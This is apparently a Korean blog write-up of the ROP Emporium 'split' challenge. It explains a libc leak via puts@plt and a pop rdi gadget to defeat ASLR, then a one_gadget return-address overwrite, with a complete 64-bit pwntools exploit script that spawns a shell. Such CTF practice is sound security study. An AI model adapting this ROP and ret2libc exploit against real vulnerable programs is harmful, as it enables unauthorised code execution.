# checksec
# code
# process
ldd로 libcbase를 확인해봤을 때 계속 변하는 것으로 보아 ASLR이 걸려있음을 알 수 있다.
따라서 libc leak이 필요하다.
pop rdi ; ret 가젯을 사용해서 puts@plt로 got를 출력하도록 해서 libcbase를 구하고 one gadget 주소를 구한다.
- 64bit
- 32bit
그 후 return address -> one gadget으로 덮는다.
\x7f까지 6바이트 받아지므로 "\x7f까지 받도록 하고 앞에 ‘\x00’ 두 개를 붙였다.
# exploit code & exploit
1. 64bit
#!/usr/bin/python
from pwn import *
p = process("./split")
elf = ELF("./split")
p1ret = 0x400883
libc = elf.libc
pay = 'A'*(0x20 + 0x8)
pay += p64(p1ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(elf.symbols['pwnme'])
p.sendlineafter("> ", pay)
puts = u64(p.recvuntil('\x7f') + '\x00\x00')
libcBase = puts - libc.symbols['puts']
one_gadget = libcBase + 0x4526a
log.info("puts : "+hex(puts))
p.sendlineafter("> ", 'A'*(0x20 + 0x8) + p64(one_gadget))
p.interactive()
2. 32bit
- 32bit 경우 RTL로 풀었다.
[ROP Emporium] write4 (32bit, 64bit) (0) | 2020.03.25 |
---|---|
[ROP Emporium] callme (32bit, 64bit) (0) | 2020.03.25 |
[ROP Emporium] ret2win (32bit, 64bit) (0) | 2020.03.25 |
[DEFCON 2016 prequals] feed me (sysrop) (0) | 2020.03.09 |
[HITCON CTF 2017] start (0) | 2020.02.28 |